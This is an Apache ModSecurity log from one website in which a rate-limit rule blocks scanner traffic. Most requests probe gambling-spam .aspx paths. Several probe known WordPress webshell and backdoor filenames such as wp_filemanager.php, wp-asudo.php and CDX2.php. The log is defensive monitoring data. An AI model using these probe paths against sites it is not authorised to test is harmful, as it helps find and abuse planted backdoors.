[Tue Mar 31 02:03:26.991538 2026] [:error] [pid 36672:tid 36831] [client 79.137.67.84:40564] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "acq67rKHDzEfeL3XiLpMvAAAAFg"]
[Tue Mar 31 02:03:29.504319 2026] [:error] [pid 36688:tid 36848] [client 79.137.67.84:40566] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "acq68ZIe8NBGKiiCIcIc1QAAAI0"]
[Tue Mar 31 02:03:32.002770 2026] [:error] [pid 36688:tid 36842] [client 79.137.67.84:47278] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "acq69JIe8NBGKiiCIcIc3AAAAIc"]
[Tue Mar 31 02:03:34.487205 2026] [:error] [pid 39123:tid 39149] [client 79.137.67.84:47280] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "acq69iobgVY20PMQKVt7BwAAARg"]
[Tue Mar 31 02:03:36.810511 2026] [:error] [pid 36672:tid 36814] [client 79.137.67.84:47288] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "acq6-LKHDzEfeL3XiLpM0AAAAEc"]
[Tue Mar 31 02:03:39.298700 2026] [:error] [pid 39123:tid 39137] [client 79.137.67.84:47294] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "acq6-yobgVY20PMQKVt7GAAAAQw"]
[Tue Mar 31 02:04:00.109646 2026] [:error] [pid 36939:tid 36955] [client 79.137.67.84:57920] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "acq7EMRDKH225Jeq1jdXGQAAAA4"]
[Tue Mar 31 02:04:02.572453 2026] [:error] [pid 36672:tid 36821] [client 79.137.67.84:56486] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "acq7ErKHDzEfeL3XiLpM8gAAAE4"]
[Tue Mar 31 02:04:05.102626 2026] [:error] [pid 39123:tid 39145] [client 79.137.67.84:56490] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "acq7FSobgVY20PMQKVt7kwAAARQ"]
[Tue Mar 31 02:04:07.446509 2026] [:error] [pid 36672:tid 36813] [client 79.137.67.84:56500] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "acq7F7KHDzEfeL3XiLpNAQAAAEY"]
[Tue Mar 31 02:04:09.972426 2026] [:error] [pid 36706:tid 36862] [client 79.137.67.84:51484] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acq7Gba-eBLL1E34-UUDiwAAAMA"]
[Tue Mar 31 02:04:12.466868 2026] [:error] [pid 39123:tid 39134] [client 79.137.67.84:51490] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "acq7HCobgVY20PMQKVt7xwAAAQk"]
[Tue Mar 31 02:04:14.939139 2026] [:error] [pid 39123:tid 39129] [client 79.137.67.84:51492] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acq7HiobgVY20PMQKVt7zwAAAQQ"]
[Tue Mar 31 02:04:17.267739 2026] [:error] [pid 39123:tid 39138] [client 79.137.67.84:51496] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "acq7ISobgVY20PMQKVt72gAAAQ0"]
[Tue Mar 31 02:04:19.587949 2026] [:error] [pid 36672:tid 36812] [client 79.137.67.84:51500] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "acq7I7KHDzEfeL3XiLpNEgAAAEU"]
[Tue Mar 31 02:04:22.060724 2026] [:error] [pid 39123:tid 39130] [client 79.137.67.84:35882] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "acq7JiobgVY20PMQKVt77AAAAQU"]
[Tue Mar 31 02:04:24.403364 2026] [:error] [pid 36688:tid 36837] [client 79.137.67.84:35898] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "acq7KJIe8NBGKiiCIcIdLgAAAII"]
[Tue Mar 31 02:04:26.889283 2026] [:error] [pid 39123:tid 39147] [client 79.137.67.84:35914] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "acq7KiobgVY20PMQKVt8CQAAARY"]
[Tue Mar 31 02:04:29.410116 2026] [:error] [pid 36939:tid 36956] [client 79.137.67.84:35918] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "acq7LcRDKH225Jeq1jdXOwAAAA8"]
[Tue Mar 31 02:04:31.906215 2026] [:error] [pid 39123:tid 39146] [client 79.137.67.84:57126] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "acq7LyobgVY20PMQKVt8NAAAARU"]
[Tue Mar 31 02:04:34.410113 2026] [:error] [pid 39123:tid 39138] [client 79.137.67.84:57128] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "acq7MiobgVY20PMQKVt8RQAAAQ0"]
[Tue Mar 31 02:04:36.914182 2026] [:error] [pid 39123:tid 39142] [client 79.137.67.84:57130] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "acq7NCobgVY20PMQKVt8VQAAARE"]
[Tue Mar 31 02:04:39.437030 2026] [:error] [pid 36672:tid 36826] [client 79.137.67.84:57144] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "acq7N7KHDzEfeL3XiLpNJQAAAFM"]
[Tue Mar 31 02:04:41.795303 2026] [:error] [pid 36706:tid 36882] [client 79.137.67.84:49152] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "acq7Oba-eBLL1E34-UUDswAAANQ"]
[Tue Mar 31 02:04:44.295091 2026] [:error] [pid 39123:tid 39134] [client 79.137.67.84:49158] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "acq7PCobgVY20PMQKVt8aQAAAQk"]
[Tue Mar 31 02:04:46.600678 2026] [:error] [pid 36706:tid 36873] [client 79.137.67.84:49168] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acq7Pra-eBLL1E34-UUDvQAAAMs"]
[Tue Mar 31 02:04:49.091861 2026] [:error] [pid 39123:tid 39140] [client 79.137.67.84:49174] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "acq7QSobgVY20PMQKVt8gAAAAQ8"]
[Tue Mar 31 02:04:51.602798 2026] [:error] [pid 39123:tid 39128] [client 79.137.67.84:51204] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "acq7QyobgVY20PMQKVt8jQAAAQM"]
[Tue Mar 31 02:04:54.109762 2026] [:error] [pid 39123:tid 39133] [client 79.137.67.84:51214] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acq7RiobgVY20PMQKVt8oAAAAQg"]
[Tue Mar 31 02:04:56.641699 2026] [:error] [pid 36939:tid 36949] [client 79.137.67.84:51224] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "acq7SMRDKH225Jeq1jdXgwAAAAg"]
[Tue Mar 31 02:42:52.704430 2026] [:error] [pid 36939:tid 36945] [client 65.108.125.120:56422] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "acrELMRDKH225Jeq1jd0dAAAAAQ"]
[Tue Mar 31 02:42:55.194243 2026] [:error] [pid 39123:tid 39137] [client 65.108.125.120:56432] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "acrELyobgVY20PMQKVujagAAAQw"]
[Tue Mar 31 02:42:57.719864 2026] [:error] [pid 39123:tid 39144] [client 65.108.125.120:56434] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "acrEMSobgVY20PMQKVujjgAAARM"]
[Tue Mar 31 02:43:00.206093 2026] [:error] [pid 36706:tid 36867] [client 65.108.125.120:19110] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "acrENLa-eBLL1E34-UUZmQAAAMU"]
[Tue Mar 31 02:43:02.855145 2026] [:error] [pid 36688:tid 36856] [client 65.108.125.120:19118] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "acrENpIe8NBGKiiCIcIuIwAAAJU"]
[Tue Mar 31 02:43:05.350699 2026] [:error] [pid 36939:tid 36952] [client 65.108.125.120:19124] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "acrEOcRDKH225Jeq1jd0mAAAAAs"]
[Tue Mar 31 02:43:07.833346 2026] [:error] [pid 36688:tid 36850] [client 65.108.125.120:19136] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "acrEO5Ie8NBGKiiCIcIuKwAAAI8"]
[Tue Mar 31 02:46:59.699523 2026] [:error] [pid 36688:tid 36841] [client 52.138.46.222:64353] [client 52.138.46.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acrFI5Ie8NBGKiiCIcIwSQAAAIY"]
[Tue Mar 31 02:47:01.134818 2026] [:error] [pid 36688:tid 36855] [client 52.138.46.222:64328] [client 52.138.46.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acrFJZIe8NBGKiiCIcIwTwAAAJQ"]
[Tue Mar 31 02:47:02.558488 2026] [:error] [pid 36672:tid 36828] [client 52.138.46.222:65003] [client 52.138.46.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acrFJrKHDzEfeL3XiLpexAAAAFU"]
[Tue Mar 31 02:47:03.979856 2026] [:error] [pid 39123:tid 39143] [client 52.138.46.222:64331] [client 52.138.46.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acrFJyobgVY20PMQKVuovwAAARI"]
[Tue Mar 31 03:58:30.848209 2026] [:error] [pid 18439:tid 18452] [client 4.223.111.108:30871] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-asudo.php"] [unique_id "acrV5i-R9nOaA8Xqs7iCogAAAME"]
[Tue Mar 31 03:58:31.425303 2026] [:error] [pid 18332:tid 18348] [client 4.223.111.108:31828] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-asudo.php"] [unique_id "acrV574KXr1F9raS5GR5TAAAAAA"]
[Tue Mar 31 03:58:31.955873 2026] [:error] [pid 18334:tid 18428] [client 4.223.111.108:40459] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-asudo.php"] [unique_id "acrV53qQrXLbk1cg3mgNiQAAAJY"]
[Tue Mar 31 03:58:32.503861 2026] [:error] [pid 18332:tid 18366] [client 4.223.111.108:25898] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-asudo.php"] [unique_id "acrV6L4KXr1F9raS5GR5VAAAABI"]
[Tue Mar 31 03:58:33.036997 2026] [:error] [pid 18332:tid 18360] [client 4.223.111.108:5593] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "acrV6b4KXr1F9raS5GR5VwAAAAw"]
[Tue Mar 31 03:58:33.621581 2026] [:error] [pid 18333:tid 18393] [client 4.223.111.108:5748] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "acrV6USx2C5hLR0-8dK-oQAAAE4"]
[Tue Mar 31 03:58:34.146397 2026] [:error] [pid 18334:tid 18409] [client 4.223.111.108:5711] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "acrV6nqQrXLbk1cg3mgNkQAAAIM"]
[Tue Mar 31 03:58:34.713706 2026] [:error] [pid 18439:tid 18471] [client 4.223.111.108:36387] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "acrV6i-R9nOaA8Xqs7iCqQAAANQ"]
[Tue Mar 31 03:58:35.253894 2026] [:error] [pid 18439:tid 18453] [client 4.223.111.108:36359] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-moonka.php"] [unique_id "acrV6y-R9nOaA8Xqs7iCqwAAAMI"]
[Tue Mar 31 03:58:35.808017 2026] [:error] [pid 18439:tid 18460] [client 4.223.111.108:6019] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-moonka.php"] [unique_id "acrV6y-R9nOaA8Xqs7iCrQAAAMk"]
[Tue Mar 31 03:58:36.334051 2026] [:error] [pid 18439:tid 18452] [client 4.223.111.108:5727] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-moonka.php"] [unique_id "acrV7C-R9nOaA8Xqs7iCsQAAAME"]
[Tue Mar 31 03:58:36.887565 2026] [:error] [pid 18439:tid 18470] [client 4.223.111.108:5627] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-moonka.php"] [unique_id "acrV7C-R9nOaA8Xqs7iCtAAAANM"]
[Tue Mar 31 03:58:37.454589 2026] [:error] [pid 18439:tid 18466] [client 4.223.111.108:5573] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "acrV7S-R9nOaA8Xqs7iCtwAAAM8"]
[Tue Mar 31 03:58:37.995977 2026] [:error] [pid 18439:tid 18458] [client 4.223.111.108:41554] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "acrV7S-R9nOaA8Xqs7iCuwAAAMc"]
